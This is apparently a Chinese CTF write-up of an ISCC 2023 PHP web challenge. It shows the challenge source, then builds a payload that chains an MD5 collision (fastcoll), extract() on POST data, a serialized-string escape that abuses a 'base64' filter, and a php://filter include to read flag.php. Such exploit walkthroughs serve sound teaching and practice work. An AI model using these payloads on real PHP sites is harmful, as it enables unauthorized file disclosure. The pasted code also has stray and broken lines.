去年的这个时候我还很菜,可能连题目都看不懂,今年刚参加完2024,想着顺便把2023的也看了吧,毕竟这可是我参加的第一个ctf比赛。
刚开始暴力破解,或者瞎猜也行?猜到正确的数字(12)就会看到源码。
然后是代码分析
1684584516 //时间戳
<?php
//"Hello! welcome to ISCC, wish you have a great time!";
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();
class what_time_is_it{
protected $func, $target;
public function __construct($show_time){
$this->func = $show_time;
}
public function __wakeup(){
echo "wakeup";
}
public function call_func(){
$lets_show_time = unserialize($this->filter($this->func));
if($lets_show_time['function'] == "show_time"){
echo 'The time is: ". date("h:i:sa", time()). "<br>';
}
else if($lets_show_time['function'] == "hack"){
file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa",
time()). "<br>';");
echo "做撚啊做,你还是看看时间吧";
include($lets_show_time['file']);
}
else
highlight_file(__file__);
fastcoll⽣成以未来时间戳开头相同的md5值
}
private function filter($s){
return preg_replace('/base64/i','', $s);
}
public function __destruct(){
$this->call_func();
}
}
if($_SESSION) unset($_SESSION);
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !== $p2 && md5($p1) === md5($p2)){ //要求p1 p2值不相等但md5之后的值相等->md5碰
撞
if (substr($p1, 0, 10) === strval(time())){ //截取p1字符串的前⼗位和当前时间转换的字符串
相等,未来时间戳
echo "Just the time";
extract($_POST);
$_SESSION['file'] = 'time.php';
$_SESSION['function'] = "show_time";
}
else{
echo "Sorry wrong time!";
}
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time);
(真的是现在也太菜了,看的我头晕,看了别人的分析,我才理解到一点点)
一些不太熟的函数:
strval():获取变量的字符串值
extract(): 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
time():获取unix时间戳,精确到秒
在网上可以找到转换工具:
分析代码:
漏洞可以从include入手,后台扫描(dirsearch),能扫描到存在flag.php。
那么就能想到用include,配合php://filter伪协议读取flag.php。
然后继续向上寻找需要满足的条件
1)$lets_show_time的属性function需值等于hack。
2)call_func()会被__destruct()自动调用,call_func()函数中$lets_show_time会被反序列化,然后filter过滤func属性,过滤base64大小写为空,有过滤,这里可以想到字符串逃逸,一次逃掉6个字符
然后继续向上,分析类外边的:
首先传参,p1,p2 分析:需满足p1,p2值不相等,但是md5值相等,且p1的前10位需强等于当前时间戳,这里考虑先预写一个未来的时间,到时候再传上去
MD5碰撞->通过分析这次题目,学到了一个小工具fastcoll,可以完成md5碰撞
【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll v1.0.0.5-CSDN博客、
然后把$_POST给变量化,这里可以好好利用。
接着是把SESSION给序列化,作为参数传入what_time_is_it,赋给func
操作:
md5碰撞:
构造SESSION序列化,extract()构造两个变量用来欺骗,file和function已经定死了,无法改变
但是可以通过再构造两个参数,a,b,欺骗function和file的值,一个用来欺骗,另一个用来使欺骗"合法"->字符串逃逸
一步一步来,先按理想状态构思一下序列化内容:
<?php
$_SESSION['a']='a';
$_SESSION['b']='b';
$_SESSION['file'] = 'php://filter/read=convert.base64-encode/resource=flag.php';//flag.php
$_SESSION['function'] = "hack";//hack
print_r($_SESSION);
var_dump(serialize($_SESSION));
序列化值为:
a:4:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}
需要让过滤后呈现此状态,
在正常序列化一下,不知道设置a几个base64,先随便设置一下,
序列化格式:
a:4:{s:1:"a";s:7:"abase64";s:1:"b";s:120:";s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}
需要把标记内容过滤,一共16个字符,凑个整,6*3=18,可以把b的值再多加两个字符
如此如此,这般这般,得到
a:4:{s:1:"a";s:19:"abase64base64base64";s:1:"b";s:122:"aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}
还有一点需要注意,php://filter里的base64也会过滤,所以双写绕过:
a:4:{s:1:"a";s:19:"abase64base64base64";s:1:"b";s:122:"aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.babase64se64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}
但是字符数量还得是57,所以b:
$_SESSION['b']='aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.babase64se64-encode/resource=flag.php";s:8:"function";s:4:"hack";}';
因为此处是post传参,所以变量为_SESSION['a'],_SESSION['b']